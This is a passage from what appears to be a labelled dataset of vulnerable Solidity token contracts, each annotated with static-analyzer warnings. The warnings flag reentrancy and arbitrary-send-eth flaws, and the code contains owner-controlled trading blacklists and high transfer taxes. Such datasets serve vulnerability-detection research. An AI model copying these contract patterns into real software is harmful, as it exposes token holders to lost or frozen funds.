reentrancy-events | ID: a037bdd\n emit SwapAndLiquify(\n amountToSwapForETH,\n ethForLiquidity,\n tokensForLiquidity\n );\n }\n\n\t\t// reentrancy-events | ID: 60c5902\n\t\t// reentrancy-eth | ID: 8b23cd2\n (success, ) = address(marketingWallet).call{\n value: address(this).balance\n }(\"\");\n }\n}\n",
"file_name": "solidity_code_10237.sol",
"size_bytes": 34661,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BOOM is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d95a678): BOOM._taxWallet should be immutable \n\t// Recommendation for d95a678: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n string private constant _name = unicode\"FIRST BOOK OF MAGA\";\n\n string private constant _symbol = unicode\"BOOM\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 8d5bf8d): BOOM._initialBuyTax should be constant \n\t// Recommendation for 8d5bf8d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: 22c487f): BOOM._initialSellTax should be constant \n\t// Recommendation for 22c487f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 18;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: ac6fa08): BOOM._reduceBuyTaxAt should be constant \n\t// Recommendation for ac6fa08: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7a6d4e0): BOOM._reduceSellTaxAt should be constant \n\t// Recommendation for 7a6d4e0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 84b8d26): BOOM._preventSwapBefore should be constant \n\t// Recommendation for 84b8d26: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 18;\n\n uint256 private _transferTax = 18;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: fab90cb): BOOM._taxSwapThreshold should be constant \n\t// Recommendation for fab90cb: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d74b650): BOOM._maxTaxSwap should be constant \n\t// Recommendation for d74b650: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0398ff4): BOOM.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0398ff4: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4db8858): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4db8858: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8be8bcb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8be8bcb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 4db8858\n\t\t// reentrancy-benign | ID: 8be8bcb\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 4db8858\n\t\t// reentrancy-benign | ID: 8be8bcb\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: dc8198d): BOOM._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for dc8198d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8be8bcb\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 4db8858\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e38ccae): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e38ccae: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: de596b8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for de596b8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: e38ccae\n\t\t\t\t// reentrancy-eth | ID: de596b8\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e38ccae\n\t\t\t\t\t// reentrancy-eth | ID: de596b8\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: de596b8\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: de596b8\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: de596b8\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: e38ccae\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: de596b8\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: de596b8\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: e38ccae\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 4db8858\n\t\t// reentrancy-events | ID: e38ccae\n\t\t// reentrancy-benign | ID: 8be8bcb\n\t\t// reentrancy-eth | ID: de596b8\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: ec80ab9): BOOM.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for ec80ab9: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 4db8858\n\t\t// reentrancy-events | ID: e38ccae\n\t\t// reentrancy-eth | ID: de596b8\n\t\t// arbitrary-send-eth | ID: ec80ab9\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6154874): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6154874: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 844793d): BOOM.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 844793d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fa1eeff): BOOM.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for fa1eeff: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d67eb14): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d67eb14: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 6154874\n\t\t// reentrancy-eth | ID: d67eb14\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 6154874\n\t\t// unused-return | ID: fa1eeff\n\t\t// reentrancy-eth | ID: d67eb14\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 6154874\n\t\t// unused-return | ID: 844793d\n\t\t// reentrancy-eth | ID: d67eb14\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 6154874\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: d67eb14\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10238.sol",
"size_bytes": 20332,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BEEPLE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c12a9bb): BEEPLE._taxWallet should be immutable \n\t// Recommendation for c12a9bb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n uint256 private _initialBuyTax = 20;\n\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0dd6b08): BEEPLE._finalBuyTax should be constant \n\t// Recommendation for 0dd6b08: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a102158): BEEPLE._finalSellTax should be constant \n\t// Recommendation for a102158: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n uint256 private _reduceBuyTaxAt = 10;\n\n uint256 private _reduceSellTaxAt = 10;\n\n uint256 private _preventSwapBefore = 10;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 420690000 * 10 ** _decimals;\n\n string private constant _name = unicode\"PepGPT 95o\";\n\n string private constant _symbol = unicode\"PepGPT95o\";\n\n uint256 public _maxTxAmount = 4206900 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 4206900 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6f27cf7): BEEPLE._taxSwapThreshold should be constant \n\t// Recommendation for 6f27cf7: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 42069 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 84fd7db): BEEPLE._maxTaxSwap should be constant \n\t// Recommendation for 84fd7db: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0371646): BEEPLE.caBlockLimit should be constant \n\t// Recommendation for 0371646: Add the 'constant' attribute to state variables that never change.\n uint256 public caBlockLimit = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 16946b7): BEEPLE.caLimit should be constant \n\t// Recommendation for 16946b7: Add the 'constant' attribute to state variables that never change.\n bool public caLimit = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x0C8BddeE16a7044496Fc10b2d4a1e39F8335aE9b);\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7b43f4d): BEEPLE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7b43f4d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8d54ca5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8d54ca5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 146eb21): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 146eb21: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 8d54ca5\n\t\t// reentrancy-benign | ID: 146eb21\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 8d54ca5\n\t\t// reentrancy-benign | ID: 146eb21\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3db6605): BEEPLE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3db6605: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 146eb21\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 8d54ca5\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 084a8c8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 084a8c8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4fd371d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4fd371d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3d2c17d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3d2c17d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 1 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caLimit &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caBlockLimit, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: 084a8c8\n\t\t\t\t// reentrancy-eth | ID: 4fd371d\n\t\t\t\t// reentrancy-eth | ID: 3d2c17d\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 084a8c8\n\t\t\t\t\t// reentrancy-eth | ID: 4fd371d\n\t\t\t\t\t// reentrancy-eth | ID: 3d2c17d\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 3d2c17d\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 3d2c17d\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 084a8c8\n\t\t\t\t// reentrancy-eth | ID: 4fd371d\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) 